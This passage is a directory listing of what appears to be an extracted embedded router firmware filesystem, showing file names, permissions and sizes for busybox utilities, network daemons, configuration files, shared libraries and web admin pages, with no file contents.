-rwxrwxr-x  1 kali kali   4332 May 31  2023 map_reset
-rwxrwxr-x  1 kali kali  25456 May 31  2023 Mcli
lrwxrwxrwx  1 kali kali      7 May 31  2023 md5sum -&gt; busybox
-rwxrwxr-x  1 kali kali   3004 May 31  2023 MeshAgent_Start
-rwxr-xr-x  1 kali kali   3468 May 31  2023 meshconf
-rwxrwxr-x  1 kali kali 102988 May 31  2023 miniigd
lrwxrwxrwx  1 kali kali      7 May 31  2023 mkdir -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 mknod -&gt; busybox
-rwxrwxr-x  1 kali kali  25708 May 31  2023 mldproxy
-rwxr-xr-x  1 kali kali    182 May 31  2023 mmd_cmdr
-rwxr-xr-x  1 kali kali    196 May 31  2023 mmd_cmdw
lrwxrwxrwx  1 kali kali      7 May 31  2023 modprobe -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 mount -&gt; busybox
-rwxr-xr-x  1 kali kali    803 May 31  2023 mp_98c.sh
-rwxr-xr-x  1 kali kali    678 May 31  2023 mp.sh
-rwxrwxr-x  1 kali kali  45952 May 31  2023 Mser
-rwxr-xr-x  1 kali kali     46 May 31  2023 mu
lrwxrwxrwx  1 kali kali      7 May 31  2023 mv -&gt; busybox
-rwxrwxr-x  1 kali kali 187492 May 31  2023 ndppd
lrwxrwxrwx  1 kali kali      7 May 31  2023 nice -&gt; busybox
-rwxrwxr-x  1 kali kali  25828 May 31  2023 ntpclient
-rwxrwxr-x  1 kali kali  13228 May 31  2023 ntp_inet
-rwxr-xr-x  1 kali kali     27 May 31  2023 ntp.sh
-rwxr-xr-x  1 kali kali    115 May 31  2023 ob
-rwxr-xr-x  1 kali kali    115 May 31  2023 ob1
-rwxr-xr-x  1 kali kali    116 May 31  2023 od
-rwxr-xr-x  1 kali kali    116 May 31  2023 od1
-rwxr-xr-x  1 kali kali    122 May 31  2023 orf
-rwxr-xr-x  1 kali kali    122 May 31  2023 orf1
-rwxr-xr-x  1 kali kali    115 May 31  2023 ow
-rwxr-xr-x  1 kali kali    115 May 31  2023 ow1
-rwxrwxr-x  1 kali kali   3116 May 31  2023 Parac2d
-rwxrwxr-x  1 kali kali  17180 May 31  2023 parentcontrol
lrwxrwxrwx  1 kali kali      7 May 31  2023 passwd -&gt; busybox
-rwxrwxr-x  1 kali kali  11900 May 31  2023 pctime
-rwxr-xr-x  1 kali kali    184 May 31  2023 phyr
-rwxr-xr-x  1 kali kali    151 May 31  2023 phyw
lrwxrwxrwx  1 kali kali      7 May 31  2023 ping -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 ping6 -&gt; busybox
-rwxr-xr-x  1 kali kali     61 May 31  2023 post_startup.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 poweroff -&gt; busybox
-rwxrwxr-x  1 kali kali 241172 May 31  2023 pppd
-rwxrwxr-x  1 kali kali  12748 May 31  2023 ppp_inet
-rwxr-xr-x  1 kali kali     49 May 31  2023 pppoe_conn_patch.sh
-rwxr-xr-x  1 kali kali     87 May 31  2023 pppoe_disc_patch.sh
-rwxr-xr-x  1 kali kali     30 May 31  2023 pppoe.sh
-rwxrwxr-x  1 kali kali  50160 May 31  2023 pptp
-rwxr-xr-x  1 kali kali     29 May 31  2023 pptp.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 ps -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 pwd -&gt; busybox
-rwxrwxr-x  1 kali kali 163484 May 31  2023 radvd
-rwxrwxr-x  1 kali kali 115692 May 31  2023 radvdump
lrwxrwxrwx  1 kali kali      7 May 31  2023 reboot -&gt; busybox
-rwxrwxr-x  1 kali kali   2796 May 31  2023 rebootschedule
-rwxrwxr-x  1 kali kali   2620 May 31  2023 rebootschedules
-rwxr-xr-x  1 kali kali     38 May 31  2023 rebootschedule.sh
-rwxr-xr-x  1 kali kali    111 May 31  2023 reinit.sh
-rwxrwxr-x  1 kali kali  10028 May 31  2023 reload
lrwxrwxrwx  1 kali kali      7 May 31  2023 renice -&gt; busybox
-rwxrwxr-x  1 kali kali   2156 May 31  2023 reset
lrwxrwxrwx  1 kali kali      7 May 31  2023 rm -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 rmdir -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 rmmod -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 route -&gt; busybox
-rwxrwxr-x  1 kali kali  39836 May 31  2023 routed
-rwxr-xr-x  1 kali kali     48 May 31  2023 rssi
-rwxr-xr-x  1 kali kali     48 May 31  2023 rssi1
-rwxr-xr-x  1 kali kali     40 May 31  2023 script_check_l2tp_status.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 sed -&gt; busybox
-rwxr-xr-x  1 kali kali    108 May 31  2023 setmib
-rwxr-xr-x  1 kali kali    108 May 31  2023 setmib1
-rwxr-xr-x  1 kali kali   1251 May 31  2023 set_rx_gain_from_flash.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 sh -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 sleep -&gt; busybox
-rwxr-xr-x  1 kali kali   1361 May 31  2023 smb.sh
-rwxr-xr-x  1 kali kali   2406 May 31  2023 snmpd.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 start-stop-daemon -&gt; busybox
-rwxr-xr-x  1 kali kali   1117 May 31  2023 startup.sh
lrwxrwxrwx  1 kali kali      7 May 31  2023 sync -&gt; busybox
-rwxrwxr-x  1 kali kali 169420 May 31  2023 sysconf
lrwxrwxrwx  1 kali kali      7 May 31  2023 syslogd -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 tail -&gt; busybox
-rwxrwxr-x  1 kali kali 210136 May 31  2023 tc
lrwxrwxrwx  1 kali kali      7 May 31  2023 telnetd -&gt; busybox
-rwxrwxr-x  1 kali kali 169404 May 31  2023 timelycheck
lrwxrwxrwx  1 kali kali      7 May 31  2023 top -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 touch -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 tr -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 traceroute -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 true -&gt; busybox
lrwxrwxrwx  1 kali kali      6 May 31  2023 udhcpc -&gt; udhcpd
-rwxrwxr-x  1 kali kali  47452 May 31  2023 udhcpd
-rwxrwxr-x  1 kali kali  10252 May 31  2023 UDPserver
lrwxrwxrwx  1 kali kali      7 May 31  2023 umount -&gt; busybox
-rwxrwxr-x  1 kali kali 145512 May 31  2023 updatedd
lrwxrwxrwx  1 kali kali      7 May 31  2023 uptime -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 vconfig -&gt; busybox
lrwxrwxrwx  1 kali kali      7 May 31  2023 vi -&gt; busybox
-rwxrwxr-x  1 kali kali   5244 May 31  2023 watchdog
lrwxrwxrwx  1 kali kali      7 May 31  2023 wc -&gt; busybox
-rwxr-xr-x  1 kali kali 669868 May 31  2023 wget
-rwxr-xr-x  1 kali kali     31 May 31  2023 wlanapp.sh
-rwxrwxr-x  1 kali kali 285084 May 31  2023 wscd
lrwxrwxrwx  1 kali kali      7 May 31  2023 xargs -&gt; busybox

./boot:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./dev:
total 24
drwxrwxr-x  6 kali kali 4096 Feb 20 10:12 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..
lrwxrwxrwx  1 kali kali    9 Feb 20 10:12 log -&gt; /dev/null
drwxrwxr-x  2 kali kali 4096 May 31  2023 misc
drwxrwxr-x  2 kali kali 4096 May 31  2023 net
lrwxrwxrwx  1 kali kali    9 Feb 20 10:12 oprofile -&gt; /dev/null
drwxrwxr-x  2 kali kali 4096 May 31  2023 pts
drwxrwxr-x  2 kali kali 4096 May 31  2023 voip

./dev/misc:
total 8
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 6 kali kali 4096 Feb 20 10:12 ..

./dev/net:
total 8
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 6 kali kali 4096 Feb 20 10:12 ..

./dev/pts:
total 8
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 6 kali kali 4096 Feb 20 10:12 ..

./dev/voip:
total 8
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 6 kali kali 4096 Feb 20 10:12 ..

./etc:
total 196
drwxrwxr-x  9 kali kali  4096 Feb 20 10:12 .
drwxrwxr-x 14 kali kali  4096 Feb 20 10:12 ..
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 boa -&gt; /dev/null
drwxrwxr-x  2 kali kali  4096 May 31  2023 boa.org
-rwxr-xr-x  1 kali kali  1273 May 31  2023 cacert.pem
-rwxr-xr-x  1 kali kali  1391 May 31  2023 certificate.crt
-rwxr-xr-x  1 kali kali  3525 May 31  2023 client.pem
-rwxr-xr-x  1 kali kali    60 May 31  2023 crpc_url_head
-rwxr-xr-x  1 kali kali    16 May 31  2023 crpc_url_postfix
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 cwmp_config -&gt; /dev/null
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 cwmp_default -&gt; /dev/null
-rwxr-xr-x  1 kali kali    43 May 31  2023 DefaultCwmpNotify.txt
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 dnrd -&gt; /dev/null
-rwxr-xr-x  1 kali kali 14805 May 31  2023 dnsmasq.conf
-rw-r--r--  1 kali kali  1362 May 31  2023 ethertypes
-rwxr-xr-x  1 kali kali    32 Aug 27  2019 group
-rwxr-xr-x  1 kali kali    17 Aug 27  2019 host.conf
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 hosts -&gt; /dev/null
-rwxr-xr-x  1 kali kali  9662 May 31  2023 icon.ico
drwxr-xr-x  2 kali kali  4096 May 31  2023 init.d
-rwxr-xr-x  1 kali kali   309 May 31  2023 inittab
drwxr-xr-x  2 kali kali  4096 May 31  2023 iproute2
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 linuxigd -&gt; /dev/null
-rwxr-xr-x  1 kali kali    54 May 31  2023 lld2d.conf
-rwxr-xr-x  1 kali kali  1552 Aug 27  2019 mime.types
-rwxr-xr-x  1 kali kali  2514 Sep  1  2020 minidlna.conf
-rwxr-xr-x  1 kali kali   334 Aug 27  2019 motd
-rwxr-xr-x  1 kali kali   592 May 31  2023 multiap.conf
-rwxr-xr-x  1 kali kali   224 May 31  2023 ndppd.conf
-rwxr-xr-x  1 kali kali    58 Jul 21  2020 passwd
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 ppp -&gt; /dev/null
-rwxr-xr-x  1 kali kali  1704 May 31  2023 privateKey.key
-rwxr-xr-x  1 kali kali  3050 May 31  2023 radvd.conf
drwxrwxr-x  3 kali kali  4096 May 31  2023 rc.d
-rwxr-xr-x  1 kali kali  9662 May 31  2023 realsil_gw.ico
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 resolv.conf -&gt; /dev/null
drwxr-xr-x  2 kali kali  4096 May 31  2023 samba
-rwxr-xr-x  1 kali kali  8251 Aug 27  2019 services
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 shadow -&gt; /dev/null
-rwxr-xr-x  1 kali kali    87 Jul 21  2020 shadow.sample
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 simplecfg -&gt; /dev/null
-rwxr-xr-x  1 kali kali  6199 May 31  2023 simplecfgservice.xml
drwxrwxr-x  2 kali kali  4096 May 31  2023 sysconfig
drwxrwxr-x  2 kali kali  4096 May 31  2023 tmp
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 TZ -&gt; /dev/null
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 udhcpc -&gt; /dev/null
lrwxrwxrwx  1 kali kali     9 Feb 20 10:12 udhcpd -&gt; /dev/null
-rwxr-xr-x  1 kali kali  1359 Aug 27  2019 ushare.conf
-rw-rw-r--  1 kali kali    41 May 31  2023 version
-rwxr-xr-x  1 kali kali  4527 Sep  1  2020 vsftpd.conf
-rwxr-xr-x  1 kali kali  1995 May 31  2023 wscd.conf

./etc/boa.org:
total 24
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali 9607 May 31  2023 boa.conf
-rwxr-xr-x 1 kali kali 2118 May 31  2023 mime.types

./etc/init.d:
total 16
drwxr-xr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali 3393 May 31  2023 rcS
-rwxr-xr-x 1 kali kali 3394 Apr 16  2022 rcS_GW

./etc/iproute2:
total 12
drwxr-xr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali  114 Aug 27  2019 rt_tables

./etc/rc.d:
total 12
drwxrwxr-x 3 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
drwxrwxr-x 2 kali kali 4096 May 31  2023 init.d

./etc/rc.d/init.d:
total 12
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 3 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali 3374 May 31  2023 ebtables

./etc/samba:
total 24
drwxr-xr-x 2 kali kali  4096 May 31  2023 .
drwxrwxr-x 9 kali kali  4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali 10136 Aug 27  2019 smb.conf
-rwxr-xr-x 1 kali kali   104 Aug 27  2019 smbpasswd

./etc/sysconfig:
total 12
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
-rw------- 1 kali kali 1390 May 31  2023 ebtables-config

./etc/tmp:
total 24
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 9 kali kali 4096 Feb 20 10:12 ..
-rwxr-xr-x 1 kali kali 2951 May 31  2023 picsdesc6.skl
-rwxr-xr-x 1 kali kali 2976 May 31  2023 picsdesc6.xml
-rwxr-xr-x 1 kali kali 2916 May 31  2023 picsdesc.skl
-rwxr-xr-x 1 kali kali 2941 May 31  2023 picsdesc.xml

./home:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./lib:
total 4176
drwxrwxr-x  3 kali kali    4096 May 31  2023 .
drwxrwxr-x 14 kali kali    4096 Feb 20 10:12 ..
lrwxrwxrwx  1 kali kali      19 May 31  2023 ld.so.0 -&gt; ld-uClibc-0.9.33.so
-rwxr-xr-x  1 kali kali   28996 May 31  2023 ld-uClibc-0.9.33.so
lrwxrwxrwx  1 kali kali      14 May 31  2023 ld-uClibc.so -&gt; ld-uClibc.so.0
lrwxrwxrwx  1 kali kali      19 May 31  2023 ld-uClibc.so.0 -&gt; ld-uClibc-0.9.33.so
-rwxrwxr-x  1 kali kali  142304 May 31  2023 libapmib.so
-rwxrwxr-x  1 kali kali   36436 May 31  2023 libcjson.so
-rwxr-xr-x  1 kali kali   22756 May 31  2023 libcrypt-0.9.33.so
-rwxrwxr-x  1 kali kali 1617960 May 31  2023 libcrypto.so.1.0.0
lrwxrwxrwx  1 kali kali      13 May 31  2023 libcrypt.so -&gt; libcrypt.so.0
lrwxrwxrwx  1 kali kali      18 May 31  2023 libcrypt.so.0 -&gt; libcrypt-0.9.33.so
lrwxrwxrwx  1 kali kali      19 May 31  2023 libc.so.0 -&gt; libuClibc-0.9.33.so
-rwxr-xr-x  1 kali kali   12492 May 31  2023 libdl-0.9.33.so
lrwxrwxrwx  1 kali kali      10 May 31  2023 libdl.so -&gt; libdl.so.0
lrwxrwxrwx  1 kali kali      15 May 31  2023 libdl.so.0 -&gt; libdl-0.9.33.so
-rwxr-xr-x  1 kali kali    3240 May 31  2023 libebt_802_3.so
-rwxr-xr-x  1 kali kali    1160 May 31  2023 libebtable_broute.so
-rwxr-xr-x  1 kali kali    1332 May 31  2023 libebtable_filter.so
-rwxr-xr-x  1 kali kali    1332 May 31  2023 libebtable_nat.so
-rwxr-xr-x  1 kali kali    7740 May 31  2023 libebt_among.so
-rwxr-xr-x  1 kali kali    3352 May 31  2023 libebt_arpreply.so
-rwxr-xr-x  1 kali kali    7804 May 31  2023 libebt_arp.so
-rwxr-xr-x  1 kali kali   62796 May 31  2023 libebtc.so
-rwxr-xr-x  1 kali kali   10288 May 31  2023 libebt_ip6.so
-rwxr-xr-x  1 kali kali    6468 May 31  2023 libebt_ip.so
-rwxr-xr-x  1 kali kali    4060 May 31  2023 libebt_limit.so
-rwxr-xr-x  1 kali kali    4644 May 31  2023 libebt_log.so
-rwxr-xr-x  1 kali kali    2472 May 31  2023 libebt_mark_m.so
-rwxr-xr-x  1 kali kali    3940 May 31  2023 libebt_mark.so
-rwxr-xr-x  1 kali kali    4924 May 31  2023 libebt_nat.so
-rwxr-xr-x  1 kali kali    3800 May 31  2023 libebt_nflog.so
-rwxr-xr-x  1 kali kali    3216 May 31  2023 libebt_pkttype.so
-rwxr-xr-x  1 kali kali    2456 May 31  2023 libebt_redirect.so
-rwxr-xr-x  1 kali kali    1748 May 31  2023 libebt_standard.so
-rwxr-xr-x  1 kali kali    7220 May 31  2023 libebt_stp.so
-rwxr-xr-x  1 kali kali    4056 May 31  2023 libebt_ulog.so
-rwxr-xr-x  1 kali kali    3940 May 31  2023 libebt_vlan.so
lrwxrwxrwx  1 kali kali      13 May 31  2023 libgcc.so -&gt; libgcc_s.so.1
lrwxrwxrwx  1 kali kali      13 May 31  2023 libgcc_s.so -&gt; libgcc_s.so.1
-rwxr-xr-x  1 kali kali   93000 May 31  2023 libgcc_s.so.1
-rwxr-xr-x  1 kali kali   93236 May 31  2023 libm-0.9.33.so
-rwxrwxr-x  1 kali kali    2092 May 31  2023 libmapvendor.so
lrwxrwxrwx  1 kali kali       9 May 31  2023 libm.so -&gt; libm.so.0
lrwxrwxrwx  1 kali kali      14 May 31  2023 libm.so.0 -&gt; libm-0.9.33.so
-rwxr-xr-x  1 kali kali    3340 May 31  2023 libmtdapi.so
-rwxrw----  1 kali kali  373864 May 31  2023 libmultiap.so
-rwxr-xr-x  1 kali kali   74568 May 31  2023 libpthread-0.9.33.so
lrwxrwxrwx  1 kali kali      20 May 31  2023 libpthread.so.0 -&gt; libpthread-0.9.33.so
-rwxr-xr-x  1 kali kali     872 May 31  2023 libresolv-0.9.33.so
lrwxrwxrwx  1 kali kali      14 May 31  2023 libresolv.so -&gt; libresolv.so.0
lrwxrwxrwx  1 kali kali      19 May 31  2023 libresolv.so.0 -&gt; libresolv-0.9.33.so
-rwxr-xr-x  1 kali kali   12520 May 31  2023 librt-0.9.33.so
lrwxrwxrwx  1 kali kali      10 May 31  2023 librt.so -&gt; librt.so.0
lrwxrwxrwx  1 kali kali      15 May 31  2023 librt.so.0 -&gt; librt-0.9.33.so
-rwxrwxr-x  1 kali kali  372536 May 31  2023 libssl.so.1.0.0
lrwxrwxrwx  1 kali kali      19 May 31  2023 libstdc++.so -&gt; libstdc++.so.6.0.19
lrwxrwxrwx  1 kali kali      19 May 31  2023 libstdc++.so.6 -&gt; libstdc++.so.6.0.19
-rwxr-xr-x  1 kali kali  869768 May 31  2023 libstdc++.so.6.0.19
-rwxrwxr-x  1 kali kali  283876 May 31  2023 libuClibc-0.9.33.so
drwxrwxr-x  3 kali kali    4096 May 31  2023 modules

./lib/modules:
total 12
drwxrwxr-x 3 kali kali 4096 May 31  2023 .
drwxrwxr-x 3 kali kali 4096 May 31  2023 ..
drwxrwxr-x 3 kali kali 4096 Feb 20 10:12 3.10.90

./lib/modules/3.10.90:
total 16
drwxrwxr-x 3 kali kali 4096 Feb 20 10:12 .
drwxrwxr-x 3 kali kali 4096 May 31  2023 ..
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 build -&gt; /dev/null
drwxrwxr-x 2 kali kali 4096 May 31  2023 kernel
-rw-rw-r-- 1 kali kali 3791 May 31  2023 modules.builtin
-rw-rw-r-- 1 kali kali    0 May 31  2023 modules.order
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 source -&gt; /dev/null

./lib/modules/3.10.90/kernel:
total 8
drwxrwxr-x 2 kali kali 4096 May 31  2023 .
drwxrwxr-x 3 kali kali 4096 Feb 20 10:12 ..

./mnt:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./proc:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./sys:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./usr:
total 16
drwxrwxr-x  4 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..
drwxrwxr-x  3 kali kali 4096 May 31  2023 local
drwxrwxr-x  3 kali kali 4096 May 31  2023 share

./usr/local:
total 12
drwxrwxr-x 3 kali kali 4096 May 31  2023 .
drwxrwxr-x 4 kali kali 4096 May 31  2023 ..
drwxrwxr-x 3 kali kali 4096 May 31  2023 man

./usr/local/man:
total 12
drwxrwxr-x 3 kali kali 4096 May 31  2023 .
drwxrwxr-x 3 kali kali 4096 May 31  2023 ..
drwxrwxr-x 2 kali kali 4096 May 31  2023 man8

./usr/local/man/man8:
total 48
drwxrwxr-x 2 kali kali  4096 May 31  2023 .
drwxrwxr-x 3 kali kali  4096 May 31  2023 ..
-rw-r--r-- 1 kali kali 40843 May 31  2023 ebtables.8

./usr/share:
total 12
drwxrwxr-x 3 kali kali 4096 May 31  2023 .
drwxrwxr-x 4 kali kali 4096 May 31  2023 ..
drwxrwxr-x 2 kali kali 4096 Feb 20 10:12 udhcpc

./usr/share/udhcpc:
total 148
drwxrwxr-x 2 kali kali 4096 Feb 20 10:12 .
drwxrwxr-x 3 kali kali 4096 May 31  2023 ..
-rwxr-xr-x 1 kali kali   95 May 31  2023 br0.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 br0.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 br0.renew
-rwxr-xr-x 1 kali kali   41 May 31  2023 br0.sh
-rwxr-xr-x 1 kali kali  596 May 31  2023 eth0.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth0.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   42 May 31  2023 eth0.sh
-rwxr-xr-x 1 kali kali   95 May 31  2023 eth1.1.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth1.1.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.1.renew
-rwxr-xr-x 1 kali kali   44 May 31  2023 eth1.1.sh
-rwxr-xr-x 1 kali kali   95 May 31  2023 eth1.2.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth1.2.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.2.renew
-rwxr-xr-x 1 kali kali   44 May 31  2023 eth1.2.sh
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.3.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth1.3.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.3.renew
-rwxr-xr-x 1 kali kali   44 May 31  2023 eth1.3.sh
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.4.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth1.4.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.4.renew
-rwxr-xr-x 1 kali kali   44 May 31  2023 eth1.4.sh
-rwxr-xr-x 1 kali kali   95 May 31  2023 eth1.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 eth1.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 eth1.renew
-rwxr-xr-x 1 kali kali   42 May 31  2023 eth1.sh
-rwxr-xr-x 1 kali kali   95 May 31  2023 usb0.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 usb0.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali   96 May 31  2023 usb0.renew
-rwxr-xr-x 1 kali kali   42 May 31  2023 usb0.sh
-rwxr-xr-x 1 kali kali  121 May 31  2023 wlan0.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 wlan0.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali  122 May 31  2023 wlan0.renew
-rwxr-xr-x 1 kali kali   43 May 31  2023 wlan0.sh
-rwxr-xr-x 1 kali kali  121 May 31  2023 wlan0-vxd.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 wlan0-vxd.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali  122 May 31  2023 wlan0-vxd.renew
-rwxr-xr-x 1 kali kali   47 May 31  2023 wlan0-vxd.sh
-rwxr-xr-x 1 kali kali  121 May 31  2023 wlan1.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 wlan1.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali  122 May 31  2023 wlan1.renew
-rwxr-xr-x 1 kali kali   43 May 31  2023 wlan1.sh
-rwxr-xr-x 1 kali kali  121 May 31  2023 wlan1-vxd.bound
lrwxrwxrwx 1 kali kali    9 Feb 20 10:12 wlan1-vxd.deconfig -&gt; /dev/null
-rwxr-xr-x 1 kali kali  122 May 31  2023 wlan1-vxd.renew
-rwxr-xr-x 1 kali kali   47 May 31  2023 wlan1-vxd.sh

./var:
total 8
drwxrwxr-x  2 kali kali 4096 May 31  2023 .
drwxrwxr-x 14 kali kali 4096 Feb 20 10:12 ..

./web:
total 1336
drwxrwxr-x  8 kali kali   4096 Feb 20 10:12 .
drwxrwxr-x 14 kali kali   4096 Feb 20 10:12 ..
-rwxr-xr-x  1 kali kali  26270 Dec  3  2022 8021q_vlan.htm
-rwxr-xr-x  1 kali kali   3838 Dec  2  2022 acltbl.htm
-rwxr-xr-x  1 kali kali   5635 Dec  2  2022 ac_table.htm
drwxrwxr-x  2 kali kali   4096 May 31  2023 add
-rwxr-xr-x  1 kali kali   2986 Dec  2  2022 arptbl.htm
-rwxr-xr-x  1 kali kali    248 Dec  2  2022 blank.htm
-rwxr-xr-x  1 kali kali    634 Dec 12  2022 bottom.htm
-rwxr-xr-x  1 kali kali   1494 Dec  2  2022 bupload.htm
lrwxrwxrwx  1 kali kali      9 Feb 20 10:12 ca.cer -&gt; /dev/null
drwxrwxr-x  2 kali kali   4096 May 31  2023 cgi-bin
lrwxrwxrwx  1 kali kali      9 Feb 20 10:12 config.dat -&gt; /dev/null
-rwxr-xr-x  1 kali kali   5072 Dec  2  2022 countDownPage2.htm
-rwxr-xr-x  1 kali kali   5284 Jan 13  2023 countDownPage.htm
-rwxr-xr-x  1 kali kali   7940 Dec  2  2022 ddns.htm
-rwxr-xr-x  1 kali kali   1320 Dec  2  2022 dhcptbl.htm
-rwxr-xr-x  1 kali kali   3108 Dec  2  2022 dmz.htm
-rwxr-xr-x  1 kali kali  15359 Dec  2  2022 dos.htm
-rwxr-xr-x  1 kali kali  20981 Feb 27  2023 EasyMesh_SetUp.htm
-rwxr-xr-x  1 kali kali     63 Dec  2  2022 empty2.htm
-rwxr-xr-x  1 kali kali     99 Dec  2  2022 empty.htm
-rwxr-xr-x  1 kali kali    318 Dec  2  2022 favicon.ico
-rwxr-xr-x  1 kali kali   3388 Dec  2  2022 guest_net_Ad.htm
-rwxr-xr-x  1 kali kali   3672 Dec  2  2022 guest_net.htm
-rwxr-xr-x  1 kali kali   2350 Dec  2  2022 help.css
-rwxr-xr-x  1 kali kali  17674 Dec  2  2022 help.js
-rwxr-xr-x  1 kali kali   1496 Jan 13  2023 home.htm
drwxrwxr-x  2 kali kali   4096 May 31  2023 icon
drwxrwxr-x  8 kali kali   4096 May 31  2023 img
-rwxr-xr-x  1 kali kali    221 Dec  2  2022 index.htm
-rwxr-xr-x  1 kali kali    345 Dec  2  2022 index.html
-rwxr-xr-x  1 kali kali   8971 Jan 11  2022 ip6filter.htm
-rwxr-xr-x  1 kali kali  25734 Dec  2  2022 ip6_qos.htm
-rwxr-xr-x  1 kali kali    491 Dec  2  2022 IpChange.htm
-rwxr-xr-x  1 kali kali   1745 Dec  2  2022 ipv6.htm
-rwxr-xr-x  1 kali kali  17911 Feb 27  2023 IPv6_Setup.htm
-rwxr-xr-x  1 kali kali   6825 Feb 27  2023 IPv6_Status.htm
drwxrwxr-x  2 kali kali   4096 May 31  2023 js
-rwxr-xr-x  1 kali kali   5085 Dec 12  2022 login.htm
-rwxr-xr-x  1 kali kali   1386 Feb  9  2023 logout.htm
-rwxr-xr-x  1 kali kali   6250 Dec  2  2022 macfilter.htm
drwxrwxr-x  4 kali kali   4096 May 31  2023 mobile
-rwxr-xr-x  1 kali kali   1359 Dec  2  2022 multi_ap_channel_scan.htm
-rwxr-xr-x  1 kali kali   1227 Dec  2  2022 multi_ap_channel_scan_result.htm
-rwxr-xr-x  1 kali kali   8094 Feb 27  2023 multi_ap_popup_client_details.htm
-rwxr-xr-x  1 kali kali   2435 Feb 27  2023 multi_ap_popup_device_add.htm
